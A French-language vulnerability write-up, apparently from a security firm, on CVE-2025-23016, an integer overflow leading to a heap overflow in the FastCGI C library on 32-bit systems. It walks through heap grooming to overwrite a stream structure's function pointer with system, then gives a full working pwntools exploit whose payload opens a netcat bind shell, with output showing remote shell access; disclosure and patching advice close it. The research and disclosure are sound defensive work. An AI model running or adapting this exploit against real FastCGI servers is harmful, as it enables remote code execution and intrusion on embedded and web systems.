CVE-2025-23016 - Exploiter la bibliothèque FastCGI
En ce début d'année 2025, dans le cadre d'une recherche interne, nous avons découvert une vulnérabilité dans la bibliothèque de développement de serveur web léger : FastCGI.
Dans cet article, nous appréhenderons le fonctionnement interne du protocole FastCGI de sorte à comprendre dans quel contexte cette vulnérabilité s'exploite et de quelle façon, puis nous verrons comment s'en prémunir.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Introduction
FastCGI est une bibliothèque écrite en C permettant le développement d'applications web compilées en concevant une façon de communiquer entre un serveur web comme NGINX avec un logiciel tiers. C'est une évolution de la Common Gateway Interface (CGI).
Son principal intérêt est de permettre d'intégrer des applications web légères. Cette caractéristique rend la bibliothèque principalement utilisée dans des équipements ne possédant qu'une faible puissance de calcul, comme des caméras.
Il est à noter que PHP-FPM, l'intégration PHP de FastCGI, ré-implémente le protocole FCGI et n'utilise pas la bibliothèque FastCGI.
Le protocole FastCGI
Le fonctionnement d'un serveur web se basant sur FastCGI est le suivant. Un serveur de traitement HTTP est en écoute sur le port donné, tel qu'Nginx, lighttpd ou encore Apache HTTP Server.
Une fois la requête traitée, un message est envoyé au binaire cgi via le protocole FCGI. Il existe deux façons de transporter ce message, sous socket TCP ou socket UNIX. Le choix du mode de transport est laissé libre au développeur. Il est à communiquer au serveur HTTP, le plus souvent sous forme de fichier de configuration.
Le premier paquet dans le protocole FCGI est le FCGI_Header
. Ce dernier va indiquer le type de requête ainsi que sa taille.
typedef struct {
unsigned char version;
unsigned char type;
unsigned char requestIdB1;
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
} FCGI_Header;
Lors d'une communication classique, c'est une requête de type FCGI_BEGIN_REQUEST
qui est envoyée en premier.
Celle-ci est composée du FCGI_Header
, puis d'un header supplémentaire, le FCGI_BeginRequestBody
.
typedef struct {
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
} FCGI_BeginRequestBody;
Ce paquet sert à initier la connexion en précisant le rôle de l'envoyeur ainsi que des flags tels que celui de laisser la connexion ouverte ou non en fin de paquet.
La seule chose à noter ici, c'est que sans rôle, tout paquet entrant est considéré comme invalide et donc détruit.
Une fois le rôle défini, à la suite du FCGI_Header
, se place alors une suite de paramètres. Un paramètre est composé de quatre éléments. Deux tailles, une clef et une valeur. La première taille correspond à la taille de la clef, la seconde à la taille de la valeur.
Les tailles sont soit sur 32 bits soit sur 8 bits en fonction de leur valeur. Si une taille est supérieure à 0x80
, alors elle sera traitée sur 32 bits. Une fois un paramètre lu, le protocole va chercher à interpréter les octets suivants comme un nouveau paramètre jusqu'à fin du transport de données, ou jusqu'à avoir atteint la taille indiquée dans le FCGI_Header
.
Ces paramètres vont en réalité être la donnée transmise par le serveur HTTP. On y retrouve des clefs telles que "QUERY_STRING"
, qui correspondent au paramètre de la requête HTTP. C'est à l'aide de ces clefs que le développeur va pouvoir avoir accès aux données de la requête HTTP pour développer son application web.
Vulnérabilité
static int ReadParams(Params *paramsPtr, FCGX_Stream *stream)
{
int nameLen, valueLen;
unsigned char lenBuff[3];
char *nameValue;
while((nameLen = FCGX_GetChar(stream)) != EOF) {
/*
* Read name length (one or four bytes) and value length
* (one or four bytes) from stream.
*/
if((nameLen & 0x80) != 0) {
if(FCGX_GetStr((char *) &lenBuff[0], 3, stream) != 3) {
SetError(stream, FCGX_PARAMS_ERROR);
return -1;
}
nameLen = ((nameLen & 0x7f) << 24) + (lenBuff[0] << 16)
+ (lenBuff[1] << 8) + lenBuff[2];
}
if((valueLen = FCGX_GetChar(stream)) == EOF) {
SetError(stream, FCGX_PARAMS_ERROR);
return -1;
}
if((valueLen & 0x80) != 0) {
if(FCGX_GetStr((char *) &lenBuff[0], 3, stream) != 3) {
SetError(stream, FCGX_PARAMS_ERROR);
return -1;
}
valueLen = ((valueLen & 0x7f) << 24) + (lenBuff[0] << 16)
+ (lenBuff[1] << 8) + lenBuff[2];
}
/*
* nameLen and valueLen are now valid; read the name and value
* from stream and construct a standard environment entry.
*/
nameValue = (char *)Malloc(nameLen + valueLen + 2);
if(FCGX_GetStr(nameValue, nameLen, stream) != nameLen) {
SetError(stream, FCGX_PARAMS_ERROR);
free(nameValue);
return -1;
}
*(nameValue + nameLen) = '=';
if(FCGX_GetStr(nameValue + nameLen + 1, valueLen, stream)
!= valueLen) {
SetError(stream, FCGX_PARAMS_ERROR);
free(nameValue);
return -1;
}
*(nameValue + nameLen + valueLen + 1) = '\0';
PutParam(paramsPtr, nameValue);
}
return 0;
}
La fonction ReadParams
prend un pointeur sur FCGX_Stream
en paramètre, qui correspond au flux de donnée reçu par la socket, et remplit un pointeur sur une structure Params.
Cette fonction va lire le flux entrant jusqu'à épuisement de ce dernier ou erreur dans le protocole.
Cette fonction va lire un premier octet, si celui-ci est supérieur ou égal à 0x80, alors la taille sera lue sur 4 octets et non un seul.
Les 3 octets suivants seront donc lus et consolidés pour faire un entier de 4 octets. Une vérification est réalisée pour s'assurer que l'entier ne soit pas plus grand que INT_MAX
. Cette vérification est réalisée pour éviter un dépassement d'entier, cette taille étant additionnée à un autre entier récupéré de la même façon.
if((nameLen & 0x80) != 0) {
if(FCGX_GetStr((char *) &lenBuff[0], 3, stream) != 3) {
SetError(stream, FCGX_PARAMS_ERROR);
return -1;
}
nameLen = ((nameLen & 0x7f) << 24) + (lenBuff[0] << 16)
+ (lenBuff[1] << 8) + lenBuff[2];
}
Jusqu'ici tout va bien, c'est dans l'appel à malloc que le problème survient.
nameValue = (char *)Malloc(nameLen + valueLen + 2);
Probablement pour stocker le caractère "=" entre la clef et la valeur en plus d'un octet nul en fin de chaîne, un +2 est ajouté au calcul d'allocation final.
Hors, là où 0x7ffffffff + 0x7ffffffff + 1 = 0xffffffff
...
0x7ffffffff + 0x7ffffffff + 2 = 0
.
Cette égalité ne se vérifie que sur une machine 32bit. En effet, le résultat de ce calcul sera stocké dans un entier dont le type ne sera pas défini par le type nameLen
et valueLen
, mais par le type du paramètre de malloc
. Ce paramètre, sous stdlib
, est un size_t
. La définition d'un size_t
dépend de la machine cible, mais on peut considérer un size_t
comme un unsigned long long
. Cela sous-entend que sur une machine 64bits, la taille (8 octets) du paramètre sera suffisante pour stocker correctement le résultat maximum du calcul. En 32bits, seulement 4 octets seront alloués, ce qui créera un dépassement d'entier.
Il est à noter que malloc
, lors d'une allocation de taille inférieure à 0x10
, allouera 0x10
octets.
Si les deux tailles fournies sont de 0xfffffffff
, sur une machine 32bit, la résultante sera une allocation de 0x10
pour une taille de clef/valeurs connues du binaire de 0x7ffffffff
. En effet, le masque sur le premier octet réduira la valeur de 0xff
à 0x7f
.
Ce dépassement d'entier mène à une vulnérabilité plus importante, celle qui sera réellement exploitée dans cet article, un dépassement de tas.
Une fois l'allocation effectuée, le pointeur retourné par malloc est directement utilisé pour y accueillir l'entrée utilisateur.
if(FCGX_GetStr(nameValue, nameLen, stream) != nameLen) {
//...
}
La fonction FCGX_GetStr
prend un pointeur, une taille, ainsi que le FCGX_Stream
sur lequel lire, puis lit autant d'octets demandés depuis le FCGX_Stream
dans le pointeur fourni en premier paramètre.
En termes d'exploitation cela pourrait poser problème. En effet, en donnant une taille de 0x7ffffffff
, l'écriture en dehors du buffer va atteindre la fin du tas et générer un crash lors de l'écriture dans une zone non mappée.
Cependant, le système d'FCGX_Stream
va permettre de contrôler la taille écrite dans le buffer cible.
int FCGX_GetStr(char *str, int n, FCGX_Stream *stream)
{
int m, bytesMoved;
if (stream->isClosed || ! stream->isReader || n <= 0) {
return 0;
}
/*
* Fast path: n bytes are already available
*/
if(n <= (stream->stop - stream->rdNext)) {
memcpy(str, stream->rdNext, n);
stream->rdNext += n;
return n;
}
/*
* General case: stream is closed or buffer fill procedure
* needs to be called
*/
bytesMoved = 0;
for (;;) {
if(stream->rdNext != stream->stop) {
m = min(n - bytesMoved, stream->stop - stream->rdNext);
memcpy(str, stream->rdNext, m);
bytesMoved += m;
stream->rdNext += m;
if(bytesMoved == n)
return bytesMoved;
str += m;
}
if(stream->isClosed || !stream->isReader)
return bytesMoved;
stream->fillBuffProc(stream);
if (stream->isClosed)
return bytesMoved;
stream->stopUnget = stream->rdNext;
}
}
La structure FCGX_Stream
contient un pointeur sur le prochain octet à lire, rdNext
, et un pointeur sur le dernier octet lu par la socket, stop
.
La fonction FCGX_GetStr
va s'en servir pour éviter de lire plus loin que ce qui n'a été inséré dans le flux. Par conséquent, si le flux est terminé, alors l'écriture dans le buffer cible prendra fin.
Cette condition d'arrêt va permettre de contrôler le nombre d'octets écrit dans le buffer cible malgré la taille passée en paramètre dans FCGX_GetStr
. Il faudra faire en sorte que le paramètre exploité soit le dernier de notre flux.
En résumé, un dépassement d'entier dans la fonction de traitement des paramètres mène à un dépassement de tampon dans le tas dont la taille est contrôlée.
Environnement de démonstration
Une machine virtuelle sur laquelle a été installé lighttpd et son module FastCGI a été montée pour servir de support.
Le serveur web de démonstration est un binaire simpliste affichant des données machine.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <fcgi_config.h>
#include <fcgiapp.h>
#define NTSTAT (2)
#define UPTIME (1)
char *exec_cmd(char *command)
{
int link[2];
pid_t pid;
char *res = malloc(4096);
if (res == NULL)
return NULL;
if (pipe(link) == -1)
return NULL;
if ((pid = fork()) == -1)
return NULL;
if(pid == 0) {
dup2(link[1], STDOUT_FILENO);
close(link[0]);
close(link[1]);
system(command);
exit(0);
}
else {
close(link[1]);
int nbytes = read(link[0], res, 4095);
res[nbytes] = 0;
wait(NULL);
}
return res;
}
unsigned char readArgs(char *query)
{
unsigned char ret = 0;
char *buf = NULL;
while ((buf = strtok(query, "&")) != NULL) {
if (!strncmp(buf, "uptime", 6))
ret |= UPTIME;
else if (!strncmp(buf, "ntstat", 6))
ret |= NTSTAT;
query = NULL;
}
return ret;
}
void write_log(const char *log_content) {
FILE *file = fopen("/tmp/log.txt", "ab");
if (file == NULL) {
perror("Error opening file");
return;
}
// Écriture de la chaîne
while (*log_content) {
fputc(*log_content, file);
log_content++;
}
// Écriture du null byte
fputc('\n', file);
fclose(file);
}
void do_log(FCGX_Request *request)
{
char *uri = FCGX_GetParam("REQUEST_URI", request->envp);
char *status = FCGX_GetParam("REDIRECT_STATUS", request->envp);
char *remote = FCGX_GetParam("REMOTE_ADDR", request->envp);
if (uri == NULL || status == NULL || status == NULL)
return;
size_t total_size = strlen(uri) + strlen(status) + strlen(remote)+ 4;
char *buf = malloc(total_size + 1);
if (buf == NULL)
return;
snprintf(buf, total_size, "%s: %s:%s", remote, uri, status);
write_log(buf);
free(buf);
}
int main ()
{
FCGX_Request request;
FCGX_Init();
FCGX_InitRequest(&request, 0, 0);
int count = 0;
while (FCGX_Accept_r(&request) >= 0) {
char *query = FCGX_GetParam("QUERY_STRING", request.envp);
char *uptime = exec_cmd("/usr/bin/uptime");
char *ntstat = exec_cmd("/usr/bin/netstat -lt");
int len = 0;
do_log(&request);
if (uptime == NULL || ntstat == NULL) {
FCGX_FPrintF(request.out,
"Content-type: text/html\r\n"
"\r\n"
"<title>Monitor server</title>"
"<h1>Server monitoring</h1>\n"
"<p>error</p>");
}
else {
FCGX_FPrintF(request.out,
"Content-type: text/html\r\n"
"\r\n"
"<title>Monitor server</title>"
"<h1>Server monitoring</h1>\n");
unsigned char args = readArgs(query);
switch (args) {
case 0:
FCGX_FPrintF(request.out,
"<p>NULL<p>\n");
break;
case UPTIME:
FCGX_FPrintF(request.out,
"<p>%s<p>\n", uptime);
break;
case NTSTAT:
FCGX_FPrintF(request.out,
"<p>%s<p>\n", ntstat);
break;
case NTSTAT | UPTIME:
FCGX_FPrintF(request.out,
"<p>%s</p>"
"<p>%s<p>\n", uptime, ntstat);
break;
}
free(uptime);
free(ntstat);
}
FCGX_Finish_r(&request);
}
return 0;
}
Le système est un système 32bit avec ASLR actif. Le binaire est compilé avec toutes les protections hormis PIE.
Il était prévu de présenter la vulnérabilité à l'aide d'un serveur qui serait vulnérable à une SSRF. Une requête contrôlée originaire du serveur web permet d'accéder à un port écoutant sur 127.0.0.1
, ce qui ouvre l'accès à la socket FastCGI. Cette socket, quand bien configurée, n'écoute qu'en local.
Cependant, lors du montage du serveur lighttpd, en cherchant de la documentation pour savoir comment configurer lighttpd pour FastCGI, il a été remarqué que le premier lien poussé par Google propose au lecteur de réaliser un montage lighttpd vulnérable.
En effet, le fichier de configuration proposé en exemple expose la socket FastCGI.
fastcgi.server = ( "/remote_scripts/"
=> (( "host" => "192.168.0.3",
"port" => 9000,
"check-local" => "disable",
"docroot" => "/" # remote server may use # its own docroot )) )
Il a été décidé de suivre ce tutoriel.
En résumé, une machine virtuelle accessible en réseau LAN propose un service web de remontée de métriques système à l'aide de FastCGI et lighttpd. La configuration lighttpd est vulnérable en exposant la socket FastCGI.
Toutes les protections système et binaire sont actives hormis PIE.
Exploitation
Une vulnérabilité de ce type, sur une bibliothèque et non une application ou un système est par essence très dépendante de son contexte d'utilisation.
Réaliser une exploitation la plus indépendante possible du binaire utilisant la bibliothèque a semblé plus pertinent pour cet article.
Initialement, il était envisagé une exploitation par corruption de cache malloc
. Une recherche plus approfondie a permis de montrer que FastCGI laisse tous les outils nécessaires pour prendre le contrôle du flux d'exécution. Il n'a donc pas été nécessaire de corrompre les caches malloc
, ce qui permet à cet exploit d'être également indépendant de la version de la bibliothèque C présente sur la machine.
La méthode d'exploitation retenue repose sur la structure FCGX_Stream
et son utilisation.
Cette dernière est représentée de la façon suivante :
typedef struct FCGX_Stream {
unsigned char *rdNext; /* reader: first valid byte
* writer: equals stop */
unsigned char *wrNext; /* writer: first free byte
* reader: equals stop */
unsigned char *stop; /* reader: last valid byte + 1
* writer: last free byte + 1 */
unsigned char *stopUnget; /* reader: first byte of current buffer
* fragment, for ungetc
* writer: undefined */
int isReader;
int isClosed;
int wasFCloseCalled;
int FCGI_errno; /* error status */
void (*fillBuffProc) (struct FCGX_Stream *stream);
void (*emptyBuffProc) (struct FCGX_Stream *stream, int doClose);
void *data;
} FCGX_Stream;
Elle est particulièrement intéressante pour trois raisons. La première est la présence de pointeurs sur fonctions fillBuffProc
et emptyBuffProc
. La possibilité de les réécrire depuis le tas permettrait de prendre le contrôle du flux d'exécution sans avoir à réécrire une fonction de la GOT, Global Offset Table, (potentiellement protégée par RelRO, Relaction Read-Only) ou de malloc
/free_hook
, qui ne sont plus présent depuis glibc 2.32.
La seconde raison est que cette structure est détruite et réallouée entre chaque requête FCGI. Cela signifie qu'il est potentiellement possible d'avoir un pointeur retourné par malloc
qui précède cette structure, et ainsi ne dépendre que de position relative et non d'adresse connue pour effectuer l'exploit, ce qui rend ASLR inefficace.
La troisième et dernière raison est la façon dont fillBuffProc est appelé :
stream->fillBuffProc(stream);
Un pointeur sur la structure FCGX_Stream
est utilisé, ce qui permet de contrôler au moins les premiers octets du pointeur en question.
La stratégie d'exploitation est la suivante :
- Obtenir un pointeur vulnérable qui précède la structure
FCGX_Stream
. - Dépasser le tampon de ce dernier pour réécrire la structure, en remplaçant
fillBuffProc
par la PLT desystem
, et en inscrivant"/bin/sh"
au début de la structure. - Obtenir un appel à
fillBuffProc
sans faire planter le binaire avant.
Dans ce cas présent, Il y a un appel à system
dans notre binaire qui n'est pas compilé à l'aide de la PIE, cela rend l'adresse de la PLT de cette fonction connue. Cependant, on note que tous les serveurs web testés relancent le binaire fastcgi en cas de plantage de ce dernier. Cette vulnérabilité n'étant exploitable qu'en 32bits, il est donc tout à fait réaliste d'imaginer une attaque par force brute de l'adresse de system
directement dans la libc dans un contexte différent.
De plus, les pointeurs de flux de données étant contrôlés, il est également envisageable de chercher à obtenir une fuite mémoire au préalable. Cela va dépendre du contexte dans lequel se trouve l'application.
Pour obtenir un pointeur vulnérable précédant la structure FCGX_Stream
, il est d'abord important de s'assurer que cette dernière soit positionnée toujours au même endroit relativement à nos allocations. Comme dis précédemment, il est détruit et réalloué systématiquement entre chaque requête, rendant aléatoire en deux instants T sa position dans sur le tas. La méthode la plus simple est de faire planter le binaire une première fois, et de se baser sur le positionnement de la structure à l'état initial du binaire. De cette façon, lorsque le binaire cgi sera relancé, la structure sera à l'endroit à laquelle on s'attend.
Pour la suite, les paramètres lus dans ReadParams
permetteront de retirer un à un, et dans le bon ordre, les pointeurs ayant déjà été détruits.
En effet, lors d'un appel à free
, malloc
va considérer la zone détruite comme de nouveau utilisable, et va stocker la taille de la zone libérée ainsi que sa position. Cette zone pourra être redistribuée par la suite lors de nouveaux appels à malloc
, si la taille souhaitée est inférieure à la taille de la zone précédemment libérée.
Un premier curl sera envoyé au serveur web de sorte à avoir des zones mémoires allouées puis détruites, et espérer que lors de la réallocation de la structure FCGX_Stream
, cette dernière se situe à la suite d'une zone libérée.
Une fois notre première requête web lancée, une seconde requête sera émise en vérifiant les 0x30
précédents octets de notre structure, située ici à l'adresse 0x804e6e0
.
gef➤ x/32wx 0x0804e6e0-0x30 0x804e6b0: 0x2e383631 0x2e363031 0x00000039 0x00000021 0x804e6c0: 0x0804e708 0xb7fb4778 0x3d54524f 0x35383534 0x804e6d0: 0x00000034 0x00000000 0x000000e0 0x00000030 0x804e6e0: 0x0804c3fa 0x0804c5a0 0x0804c5a0 0x0804c3f8
On remarque qu'une zone de taille 0x20
a effectivement été libérée. Obtenir une allocation ici va donc être notre objectif.
On note cependant que notre allocation vulnérable sera de 0x10
et pas 0x20
. Il faudra donc en réalité obtenir une allocation à notre zone libérée + 0x10
.
Pour se faire, il faudra "dépiller" les zones libérées jusqu'à atteindre la zone de 0x20
, puis allouer encore un nouveau pointeur de 0x10
pour qu'il ne reste plus qu'une zone de 0x10
, celle entre le dernier pointeur alloué et notre structure, de libre pour le prochain appel à un malloc de taille inférieur à 0x10
.
Obtenir un pointeur contigu permettra de ne pas écraser les métadonnées utiles à malloc
pour se souvenir des tailles et zones mémoires libérées des autres pointeurs. Cela évitera de faire planter le binaire avant d'atteindre fillBuffProc
.
En analysant l'état du tas au moment de l'appel à ReadParams
, il a été déterminé qu'il faudra, dans notre contexte, neuf allocations de 0x30
puis deux de 0x10
pour que malloc
fournisse le pointeur précédant notre structure lorsqu'une taille de 0x10
ou moins lui est demandée.
Dans la boucle de lecture de paramètres de la fonction ReadParams
, le paramètre corrompu sera précédé par neuf paramètres valides de taille 0x30
, et deux de tailles 0x10
.
Il va en suite s'agir d'exploiter le dépassement d'entier pour créer un dépassement de tampon et réécrire la structure FCGX_Stream
de sorte que fillBuffProc
soit remplacé par la PLT de system, puis appelé avec pour paramètre les premiers octets de la structure qui soit une chaîne bash valide.
Le prochain potentiel appel à fillBuffProc
est réalisé dans la fonction FCGX_GetChar
.
int FCGX_GetChar(FCGX_Stream *stream)
{
if (stream->isClosed || ! stream->isReader)
return EOF;
if (stream->rdNext != stream->stop)
return *stream->rdNext++;
stream->fillBuffProc(stream);
if (stream->isClosed)
return EOF;
stream->stopUnget = stream->rdNext;
if (stream->rdNext != stream->stop)
return *stream->rdNext++;
ASSERT(stream->isClosed); /* bug in fillBufProc if not */
return EOF;
}
Pour que fillBuffProc
soit appelé, il faut donc que le champ isClosed
soit nul, que isReader
soit quand à lui non nul, et que rdNext
soit égal à stop
.
Par chance, aucun déréférencement de pointeur de la structure n'a lieu avant l'appel du pointeur sur fonction corrompue.
La condition isClosed
à nul limitera la taille de notre chaîne bash, isReader
n'aura aucun impact, et la condition rdNext
égal à stop
forcera à faire en sorte que les quatre premiers octets de notre chaîne bash soit égaux aux quatre octets en douxième position.
Aucune de ces conditions n'est donc insurmontable, cependant, la taille de notre chaîne bash s'en trouvera limité.
La chaîne " /bi;nc -lve /bin/sh"
suivis des 4 octets nul contournera les conditions, et mènera la fonction FCGX_GetChar
à appeler fillBuffProc
, qui sera en réalité system
qui prendra en paramètre une chaîne bash qui lancera un shell en écoute sur un port au hasard entre 30 000 et 50 000, menant ainsi à une exécution de code arbitraire.
Dans les faits, la commande bash ne fait pas plus de 15 caractères dans cette configuration. Cependant, comme dit précédemment, les serveurs web HTTP relancent le binaire fcgi en cas de crash. Il est par conséquent possible de rejouer l'exploit plusieurs fois pour écrire une commande dans un fichier à l'aide d'un"echo abc > a"
et l'exécuter, contournant la limite de taille.
L'exploit final devient :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF('./test')
def start(argv=[], *a, **kw):
return remote("192.168.106.9", 9003)
"""
typedef struct {
unsigned char version;
unsigned char type;
unsigned char requestIdB1;
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
} FCGI_Header;
"""
def makeHeader(type, requestId, contentLength, paddingLength):
header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)
return header
"""
typedef struct {
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
} FCGI_BeginRequestBody;
"""
def makeBeginReqBody(role, flags):
return p16(role)[::-1] + p8(flags) + b"\x00" * 5
io = start()
header = makeHeader(9, 0, 900, 0)
print(hex(exe.plt["system"]))
io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*9 + p8(0) * (2 *2)+ p32(0xffffffff) + p32(0xffffffff) + b"a" * (4 * 4) + b" /bi;nc -lve /bin/sh" +p32(0) * 3 + p32(exe.plt["system"]) )
io.close()
➜ article git:(master) ✗ ./exploit.py
[*] './test'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to 192.168.106.9 on port 9003: Done
0x80490b0
[*] Closed connection to 192.168.106.9 port 9003
➜ article git:(master) ✗ sudo nmap -T4 192.168.106.9 -p30000-50000
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-12 18:46 CET
Nmap scan report for 192.168.106.9
Host is up (0.00024s latency).
Not shown: 20000 closed ports
PORT STATE SERVICE
39649/tcp open unknown
MAC Address: 08:00:27:E9:86:0A (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
➜ article git:(master) ✗ nc 192.168.106.9 39649
id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)
ls /
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
S'en protéger
La vulnérabilité a été remontée sous forme d'issue Github. Des discussions avec l'éditeur ainsi qu'une pull request a été effectuée de sorte à ajouter des vérifications supplémentaires et ainsi corriger le bogue.
Se mettre à jours avec la version 2.4.5 permet de s'en protéger. Attention à bien vérifier, dans le cas d'une installation de la librairie à l'aide de paquets, que ces derniers soient bien synchronisés avec la version 2.4.5 et supérieurs.
Nous conseillons également de limiter les potentiels accès à distance à la socket FastCGI en la déclarant comme socket UNIX.
Conclusion
FastCGI, malgré un palmarès de vulnérabilité assez faible depuis sa création en 1996 et une utilisation fréquente dans les technologies embarquées, n'est pas exempt de problème d'implémentation.
Il reste cependant aisé de corriger cette faille, et de bonnes pratiques dans l'implémentation auront peut-être permis à certains serveurs de s'en prémunir avant la publication de cette dernière.
En attendant, il peut être intéressant d'intégrer des règles s'assurant à minima de la bonne configuration de son serveur web pour s'assurer d'un maximum de sécurité.